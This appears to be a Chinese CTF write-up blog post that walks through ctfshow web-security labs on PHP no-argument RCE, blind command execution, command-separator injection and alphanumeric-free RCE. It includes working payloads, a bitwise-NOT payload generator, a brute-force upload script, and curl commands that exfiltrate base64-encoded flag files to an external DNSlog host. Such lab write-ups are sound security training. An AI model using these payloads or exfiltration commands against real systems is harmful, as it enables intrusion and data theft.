渗透基础知识ctfshow——Web应用安全与防护(第二章)

ctfshow靶场------Web应用安全与防护(第二章):

  1. PHP无参数RCE :利用 localeconvscandir 等内置函数嵌套及数组指针操作,在无参数输入的情况下动态构造参数并读取文件。
  2. 无回显命令执行 (Blind RCE) :通过 > 将结果重定向至Web目录文件,或利用 curl/ping 将执行结果通过 OOB 外带至外部日志平台。
  3. 命令拼接注入与前端绕过 :使用分号 ;|| 截断原有命令上下文,配合 base64 编码输出以防 PHP 源码被浏览器当作标签隐藏。
  4. PHP无字母数字RCE :利用 PHP 动态执行与位运算特性,将取反后的不可见字符编码包裹在单引号中,于 eval 环境中动态还原函数名与参数。
  5. Bash无字母数字RCE :利用 POST 请求生成的 /tmp/ 临时存放文件写入明文恶意命令,并依靠 . /???/????????[@-[] 等纯符号通配符盲打执行。

文章目录


一句话木马变形

适合纯新手入门使用,难度极低。

知识点

本关考察 PHP 无参数远程代码执行及字符过滤绕过技术,核心在于利用内置函数嵌套动态生成参数。具体流程为:

首先通过 current(localeconv()) 构造出点号(.)并传入 scandir() 获取当前目录文件数组;

接着由于目标文件位于原数组倒数第二位,需使用 array_reverse() 翻转数组,再配合 next() 函数提取出目标文件名;

最后将该文件名传递给 show_source() 函数以输出文件源代码。


这里我们打开网页,得到如下页面:

尝试输入PHP语句,返回了报错:

bash 复制代码
# 只允许使用字母、数字、下划线、括号和分号
Error: Invalid characters detected! Only letters, numbers, underscores ,parentheses and semicolons are allowed.

可以看出,后端的过滤规则极度严格:

  • 禁止了空格引号(单双)、美元符号($)、点号(.)以及各种运算符
  • 这意味着你无法直接使用字符串 system("ls")等命令执行函数;

既然常见的方式无法绕过:

  • system,tac,cat,nl,head,more 等函数;
  • phpfilter / data 伪协议
  • include文件包含

还有很多方法,大家感兴趣可以看我的专栏:CTF靶场命令执行部分

原理讲解

接下来这个绕过方法,很久之前我就用过,只不过不常见:

(具体原理可以看这篇文章)

bash 复制代码
# 1. 查看当前目录下的文件:
print_r(scandir(current(localeconv())));

# 2. 读取 Flag 文件

# 如果 flag.php 是数组的最后一个:
show_source(end(scandir(current(localeconv()))));

# 如果 flag.php 是倒数第二个(紧挨着最后一个)
show_source(prev(scandir(current(localeconv()))));

# 但是flag在第三个怎么办?可以用array_reverse函数
show_source(next(array_reverse(scandir(pos(localeconv())))));

核心原理就是 "像搭积木一样造出所需参数",完美绕过字符过滤:

  • 造出 . (当前目录): localeconv() 返回本地化信息数组,其第一项固定是小数点 .
    • current() 取出它,就等同于写了字符串 "."
  • 读目录: scandir(".") 读取当前目录,返回包含所有文件名的数组
    • (如 ['.', '..', 'flag.php'])。
  • 定位文件: 利用数组指针函数精准抓取 flag.php 这个字符串:
    • 若在最后一位:用 end() 取出。
    • 若在倒数第二:不能直接用 prev() (因为刚生成的数组指针在第一位,往前会越界报错),应该用 next(array_reverse(...)),即先翻转数组,再取第二个。
  • 出结果: 外层套上 show_source(),直接打印出目标文件的源码,拿下 Flag。

具体步骤:

(1)print_r(localeconv()); 得到小数点. 所以接下来可以使用 scandir('.') 打印出当前目录:

(2)打印出小数点.,搭配 函数使用

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,
  • pos() 同 current() ,是current()的别名
  • reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

打印当前目录:print_r(scandir(pos(localeconv())));

(3)根据文件的位置查看内容:

因为是第三个,所以使用payload:show_source(next(array_reverse(scandir(pos(localeconv())))));

反弹shell构造(极其重要!!!)

适合纯新手入门使用,难度极低。

知识点

本关考察无回显 RCE(Blind RCE)的两种经典解法:

  1. 重定向写文件 :在 Web 目录可写的情况下,利用 > 将命令结果输出到自定义 txt 文件中,再通过浏览器直接访问该文件查看回显。
  2. OOB 数据外带 :在目录不可写但服务器出网的情况下,利用 curlping,将命令结果(常配合 Base64 编码)拼接到外部接收平台的地址中发起请求,最后在外部平台的日志记录里间接读取数据。

这里我们输入whoami,id等命令,但都是返回固定结果:

这是一个典型的无回显 RCE (Blind RCE)。后端的代码确实执行了你传入的系统命令,但并没有将命令的标准输出 (stdout) 返回给 HTTP 响应体,而是返回固定的结果;

方法一:重定向写入文件

如果当前的 Web 目录具有写权限,你可以直接将命令执行的结果重定向(> >>)到一个新的 txt 或 php 文件中,然后直接通过浏览器访问该文件读取结果。

相应文章:命令执行web43-44关

输入如下命令:

bash 复制代码
cp flag.php out.txt

随后访问 https://xx.challenge.ctf.show/**out.txt** 即可得到结果:

也是得到结果;

方法二:OOB 外带数据 (Out-of-Band)

如果 Web 目录不可写(例如没有权限或被限制),但服务器允许出网,你可以利用 curlwget 将执行结果作为 URL 的一部分请求你自己的服务器或 DNSlog 平台

  • 常用网站:http://www.dnslog.cn/
  • 测试 Payload: code=curl http://你的DNSlog地址.com/?data=$(whoami)
  • 拿 Flag Payload: code=curl http://你的VPS或DNSlog地址/?data=$(cat /flag | base64)

这里我尝试了两条命令:

bash 复制代码
# 查看当前目录文件列表:
code=curl http://gojo4j.xxxx.io/?d=$(ls | base64 -w 0)

# 读取 Flag 文件
code=curl http://gojo4j.xxxx.io/?d=$(cat flag.php | base64 -w 0)

执行命令后,DNSlog平台均有相应:

随后查看http响应记录:可以看到ls的结果,以base64编码返回到url里


随后查看flag.php的内容(第二条命令):

成功返回结果:


管道符绕过过滤

适合纯新手入门使用,难度极低。

知识点

  1. 命令拼接注入 :利用分号(;)或逻辑符(||)等管道符打断原有命令上下文,从而追加并执行自定义的恶意系统命令。

  2. 源码查看与重定向 :直接读取 .php 文件时,代码易被浏览器作为标签解析而隐藏(需按 F12 看网页源码);使用 > 将结果重定向至 .txt 文件可直接在网页查看。

  3. 编码输出绕过 :通过 base64 命令将目标文件内容编码为纯文本字符串输出,能完美无视前端浏览器的解析干扰和后端的字符过滤,提取后再解码即可。


打开页面,发现输入命令,都会返回ls {输入的命令} execute success!

尝试:输入whoami

猜测:系统固定执行 ls {输入参数} 的命令;

  • 所以我们应该可以查看所有的文件;
  • 尝试输入/ 代表列出根目录的所有文件

结果果然如此:

随后我又找到了flag.php的位置:/var/www/html

后面又尝试了其他命令:利用 Linux 的命令分隔符,"逃逸" 出前面的 ls 命令限制,从而执行真正需要的读取操作(如 cat)。在

  1. 分号 (;) 顺序执行 :输入 /; cat /flag/; cat flag.php。系统会先执行 ls /,执行完毕后接着执行你的 cat 命令。
  2. 逻辑或 (||) 短路执行 :输入 fake_dir || cat /flag。故意给 ls 提供一个不存在的目录使其报错,进而触发后面的 cat 命令。
  3. 逻辑与 (&&) 拼接 :输入 / && cat /flag
  4. 管道符 (|) :如果不知道 flag 的具体名字,可以先尝试输入 /; find / -name "flag*"| ls / | grep flag 进行搜索定位。

很遗憾,都失败了;

绕过方法

这里我突然想到能不能换行试试,果然有变化:

方法一:重定向

所以这里也有两种方法:直接查看flag.php的内容 和 重定向到out.txt 再进行查看:

同样能够得到结果:

方法二:直接查看flag.php内容

没有内容?

其实查看源代码就行了:

方法三:编码输出

后端核心的漏洞代码(最重要的部分)大概率长这样:

php 复制代码
$code = $_POST['code'];

// 1. 打印你看到的拼接提示语
echo "ls " . $code . " execute success!\n";

// 2. 危险函数直接拼接并执行,导致了命令注入
system("ls " . $code);

拼接后的完整命令为 ls /; cat /var/www/html/flag.php

绕过原理 是利用 Linux Shell 的多命令分隔符(如分号 ;),强行打断原有的命令上下文,使系统在执行完预设的 ls 操作后,将后续拼接的输入作为独立的全新系统命令予以执行。

bash 复制代码
# 把文件内容转成 Base64 字符串输出,这样就不会被浏览器吃掉标签:
/; base64 /var/www/html/flag.php

# 正常读取 + 查看网页源码
/; cat flag.php

结果如下:

无字母数字代码执行(重要)

适合纯新手入门使用,难度极低。

知识点

本关考察无字母数字的命令执行绕过 。当 WAF 严格过滤了全部字母和数字时,我们可以利用 PHP 的动态函数执行与位运算(如取反 ~)特性。

原理是预先将需要的函数名(如 system)和参数的 ASCII 码进行位取反,转换为由 % 和十六进制组成的不可见字符编码;

当后端 PHP 引擎执行由单引号包裹的 (~'不可见字符编码') 时,会将其再次取反,在内存中完美还原为正常的英文字符串并执行,从而巧妙避开所有正则过滤规则。


这里尝试输入命令,发现提示:Error: Invalid shell code!

输入数字123,也是同样的结果;

绕过方法:取反构造法

这是一个经典的无字母数字 Bypass 题型。当 WAF 严格过滤了 [a-zA-Z0-9] 时,常规的函数名和参数都无法直接输入。

解决的核心思路是:

  • 利用 PHP 的位运算符(如取反 ~ 或异或 ^)与不可见字符(不可打印的 ASCII 码)进行运算,在内存中动态生成我们需要的字母。

  • 在 PHP 7 及以上版本中,最简单高效的方法是取反构造法。我们可以对需要的字符串逐个字符进行取反运算,转成十六进制的 URL 编码。

  • 相应的的文章:命令执行web57关


由于这些 Payload 包含大量的 URL 编码符号 %,直接在网页输入框里填可能会被浏览器二次转义或截断。建议抓包后在 Repeater 中修改参数:

执行 phpinfo();

text 复制代码
code=(~%8F%97%8F%96%91%99%90)();

(原理解析:%8F 取反就是字母 p,依此类推拼出 phpinfo,外层加括号当成函数调用)

这里我们执行后,成功返回phpinfor页面:

payload生成脚本

日常刷题时手动算取反太麻烦了,可以顺手写个 Python 小脚本,在本地终端里直接生成你想要的任意无字母数字 Payload:

python 复制代码
def generate_payload(func, arg):
    # 对函数名取反
    func_encoded = "".join([f"%{hex(255 - ord(c))[2:].upper()}" for c in func])
    # 对参数取反
    arg_encoded = "".join([f"%{hex(255 - ord(c))[2:].upper()}" for c in arg])

    # 修改为带单引号的格式
    payload = f"(~'{func_encoded}')(~'{arg_encoded}');"
    return payload


# 生成 system('cat flag.php') 的 payload
print(generate_payload("system", "cat flag.php"))

这里直接构造命令:system("cat falg.php");

bash 复制代码
# cat flag.php结果
(~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F');

# 查看当前目录
(~'%8C%86%8C%8B%9A%92')(~'%93%8C');

得到结果:

无字母数字命令执行(重要)

名字与上一关很像,我猜测原理应该也差不多;(但是上一关的payload无法使用)

知识点

  • 为什么上一关的 (~'%8C...')(~'...') 在这里失效了?
    • 因为上一关的底层代码是 PHP 的 eval($_POST['code']),所以它能解析 PHP 的取反位运算符。
    • 而这一关,从输入框默认的 whoami 以及报错回显可以看出,底层又变回了 Shell (Bash) 命令行执行 (类似于 system("ls " . $_POST['code']);)。

这里必须祭出 CTF 无字母数字 RCE 的绝对方法:"临时文件上传 + Shell 路径通配符"盲打


绕过方法

  1. 上传文件 :当我们向 PHP 服务器发送一个包含文件上传的 POST 请求时,PHP 会把文件默认暂存在 /tmp/ 目录下,并随机生成一个包含字母和数字的文件名,比如 /tmp/php1A2b3C
  2. 隐藏杀机 :上传的这个文件的内容是不受任何 WAF 过滤的 !所以我们可以在文件里不受限制的写上完整的 cat flag.php
  3. 通配符执行 :我们在 code 参数里利用 Bash 的 . (source 命令,用于执行文件) 和 ? 通配符去盲猜并执行这个临时文件。

为了不用字母,我们将路径写成:/; . /???/????????[@-[]

  • /??? 匹配 /tmp
  • ???????? 匹配 php1A2b3C 的前 8 个字符。
  • [@-[] 是一个 ASCII 范围匹配,专门匹配大写字母(因为临时文件的最后一位很大概率是大写字母)。

解决方案:一键发包脚本

因为临时文件的最后一位是大写字母的概率大概是三分之一,如果在 Burp Suite 里手动发包需要点好几次,比较折腾。所以建议在本地运行下面这段 Python 脚本,它会自动帮你把 得到Flag :

python 复制代码
import requests

# 1. 替换为你当前题目的实际 URL
url = "http://2511d1d3-19ce-402a-8578-8c77120dcaf7.challenge.ctf.show/"

# 2. 我们要上传的恶意文件,内容是明文命令(这里假设读 flag.php)
files = {'file': ('1.txt', 'cat flag.php')}

# 3. 注入的无字母数字 Payload
# 意思是:截断 ls 命令,然后执行 /tmp/ 下刚才上传的临时文件
data = {'code': '/; . /???/????????[@-[]'}

print("开始盲打,尝试匹配临时文件后缀...")

# 循环发送,直到临时文件的随机名以大写字母结尾被我们撞上
for i in range(20):
    try:
        response = requests.post(url, files=files, data=data)
        # 如果回显中包含了我们想要的结果(避开默认的 execute success!)
        if "flag{" in response.text or "<?php" in response.text:
            print(f"\n🎉 第 {i+1} 次尝试命中!成功拿到回显:")
            print(response.text)
            break
        else:
            print(f"第 {i+1} 次未命中 (临时文件尾号非大写),重试中...")
    except Exception as e:
        print(f"请求报错: {e}")

运行说明:

直接运行这个脚本,它会不断向服务器扔包含 cat flag.php 的临时文件,并用纯符号命令去尝试执行它。一旦碰巧系统生成的临时文件名以大写字母结尾,命令就会被成功执行,就会直接得到flag;

很幸运,只执行一次即可得到结果:

总结

本章涉及到的知识点还是很多的:

  1. PHP无参数RCE :利用 localeconvscandir 等内置函数嵌套及数组指针操作,在无参数输入的情况下动态构造参数并读取文件。
  2. 无回显命令执行 (Blind RCE) :通过 > 将结果重定向至Web目录文件,或利用 curl/ping 将执行结果通过 OOB 外带至外部日志平台。
  3. 命令拼接注入与前端绕过 :使用分号 ;|| 截断原有命令上下文,配合 base64 编码输出以防 PHP 源码被浏览器当作标签隐藏。
  4. PHP无字母数字RCE :利用 PHP 动态执行与位运算特性,将取反后的不可见字符编码包裹在单引号中,于 eval 环境中动态还原函数名与参数。
  5. Bash无字母数字RCE :利用 POST 请求生成的 /tmp/ 临时存放文件写入明文恶意命令,并依靠 . /???/????????[@-[] 等纯符号通配符盲打执行。

希望大家温故而知新,期待下次再见;

相关推荐
CHICX12292 小时前
3.SQL 注入之高权限注入(上):从权限原理到跨库攻击,吃透 root 权限注入的危害与防御
web安全·网络安全
李李李li2 小时前
ubuntu22.04mt76x2u网卡断网
linux·运维·服务器
The_era_achievs_hero2 小时前
电子签名(蓝桥杯)
前端·蓝桥杯
无忧智库2 小时前
医疗保障信息平台安全体系:从“合规堆砌”到“内生安全”的实战化重构(PPT)
安全·重构
cui_ruicheng2 小时前
操作系统入门(一):从冯诺依曼到进程概念
linux·运维·服务器·ubuntu
坤坤藤椒牛肉面2 小时前
linux驱动1
linux·运维·服务器
摸鱼仙人~2 小时前
LLM量化技术全景对比:AWQ、GPTQ、GGUF与FP8/INT8/INT4的抉择指南
运维·服务器
这辈子谁会真的心疼你2 小时前
如何修改视频媒体修改时间?两个方法介绍
java·服务器·数据库
wanhengidc2 小时前
服务器 网络信息安全
运维·服务器·网络